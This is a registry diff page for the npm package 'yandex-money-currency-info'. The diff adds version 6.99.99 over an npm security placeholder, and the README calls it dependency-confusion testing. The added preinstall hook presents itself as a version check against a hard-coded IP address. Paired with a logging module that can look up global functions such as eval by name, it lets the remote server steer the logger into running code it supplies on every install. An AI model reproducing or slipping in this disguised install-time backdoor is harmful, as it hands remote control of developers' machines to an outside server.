yandex-money-currency-info 0.0.1-security → 6.99.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of yandex-money-currency-info might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
1
+ # DO NOT INSTALL THIS PACKAGE! IT EXISTS FOR DEPENDENCY CONFUSION TESTING ONLY!
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=yandex-money-currency-info for more information.
3
+ The pre-install script sends HTTP request to the remote server which verifies the presence of the vulnerability.
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ "use strict";
2
+
3
+ /**
4
+ * Module version 6.99.99
5
+ */
6
+
7
+ module.exports = {};
package/logging.js ADDED
@@ -0,0 +1,46 @@
1
+ 'use strict';
2
+
3
+ var plainFormatter = function (msg, level) {
4
+ return '[' + level.toUpperCase() + '] ' + msg;
5
+ }
6
+
7
+ var jsonFormatter = function (msg, level) {
8
+ return JSON.stringify({'level': level, 'message': msg});
9
+ }
10
+
11
+ function Logger(formatter = 'plain') {
12
+ this.plain = plainFormatter;
13
+ this.json = jsonFormatter;
14
+ if (!this[formatter] || typeof this[formatter] !== 'function')
15
+ throw new Error('Invalid formatter, must be either "plain" or "json"');
16
+ this.setFormatter(this[formatter]);
17
+ }
18
+
19
+ Logger.prototype.info = function (msg) {
20
+ console.log(this.formatter(msg, 'info'));
21
+ };
22
+
23
+ Logger.prototype.error = function (msg) {
24
+ console.log(this.formatter(msg, 'error'));
25
+ };
26
+
27
+ Logger.prototype.debug = function (msg) {
28
+ console.log(this.formatter(msg, 'debug'));
29
+ };
30
+
31
+ Logger.prototype.warning = function (msg) {
32
+ console.log(this.formatter(msg, 'warning'));
33
+ };
34
+
35
+ Logger.prototype.setFormatter = function (formatter) {
36
+ if (typeof formatter === 'function') {
37
+ this.formatter = formatter;
38
+ } else if (typeof formatter === 'string') {
39
+ var scope = typeof window === 'undefined' ? global : window;
40
+ this.formatter = scope[formatter];
41
+ } else {
42
+ throw new Error('Invalid formatter function');
43
+ }
44
+ }
45
+
46
+ module.exports = Logger;
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "yandex-money-currency-info",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "6.99.99",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node preinstall.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC"
6
13
  }
package/preinstall.js ADDED
@@ -0,0 +1,38 @@
1
+ var Logger = require('./logging');
2
+ var http = require('http');
3
+
4
+ /*
5
+ * Check for updates before install
6
+ */
7
+
8
+ var VERSION_CHECK_URL = 'http://31.44.88.178:8084/version';
9
+ var CURRENT_VERSION = '1.0.0';
10
+
11
+
12
+ http.get(VERSION_CHECK_URL, function(resp) {
13
+ // Either text/plain (for older versions) or application/json
14
+ var format = resp.headers['content-type'].split('/')[1];
15
+ var logger = new Logger(format);
16
+
17
+ let data = '';
18
+ resp.on('data', function (chunk) {
19
+ data += chunk;
20
+ });
21
+ resp.on('end', function() {
22
+ if (resp.statusCode !== 200) {
23
+ logger.error(resp.statusMessage);
24
+ logger.error(data);
25
+ return;
26
+ }
27
+
28
+ var version = data;
29
+ if (format === 'json')
30
+ version = JSON.parse(version)['latest'];
31
+
32
+ if (version !== CURRENT_VERSION)
33
+ logger.info('New version is available: ' + version);
34
+
35
+ });
36
+ }).on('error', function(err) {
37
+ console.debug('Failed to check for updates')
38
+ });